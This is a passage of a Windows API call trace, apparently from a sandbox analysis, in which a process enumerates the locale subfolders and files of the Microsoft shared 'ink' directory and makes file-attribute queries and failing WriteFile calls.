	[0243.953] FindNextFileW (in: hFindFile=0x192c63cdac0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0243.953] FindNextFileW (in: hFindFile=0x192c63cdac0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0243.954] FindNextFileW (in: hFindFile=0x192c63cdac0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0243.954] FindClose (in: hFindFile=0x192c63cdac0 | out: hFindFile=0x192c63cdac0) returned 1
	[0243.954] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.954] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800)) returned 1
	[0243.954] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.954] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e8a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0243.954] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.955] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\*", lpFindFileData=0xc0001df548 | out: lpFindFileData=0xc0001df548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e8a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0243.955] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e8a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0243.955] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0243.955] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0243.955] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0243.955] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.955] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00)) returned 1
	[0243.976] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.976] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0243.976] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.976] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\*", lpFindFileData=0xc0001df548 | out: lpFindFileData=0xc0001df548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0243.977] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0243.977] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0243.977] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0243.977] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0243.977] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.977] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800)) returned 1
	[0243.977] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.978] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0243.980] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.980] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\*", lpFindFileData=0xc0001df548 | out: lpFindFileData=0xc0001df548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0243.980] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0243.980] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0243.980] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0243.981] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0243.981] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.981] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600)) returned 1
	[0243.981] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x6b, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.981] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0243.981] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.981] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\*", lpFindFileData=0xc0001df548 | out: lpFindFileData=0xc0001df548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0243.982] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0243.982] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0243.982] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0243.982] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0243.982] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.983] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800)) returned 1
	[0243.983] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.983] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463d4edd, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x779da8e5, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463d4edd, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x3e9600)) returned 1
	[0243.983] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.983] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8602, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0243.984] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.984] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\*", lpFindFileData=0xc0001df548 | out: lpFindFileData=0xc0001df548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8602, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd460
	[0243.984] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8602, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0243.985] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0243.985] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0243.985] FindClose (in: hFindFile=0x192c63cd460 | out: hFindFile=0x192c63cd460) returned 1
	[0243.985] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.985] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600)) returned 1
	[0243.986] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
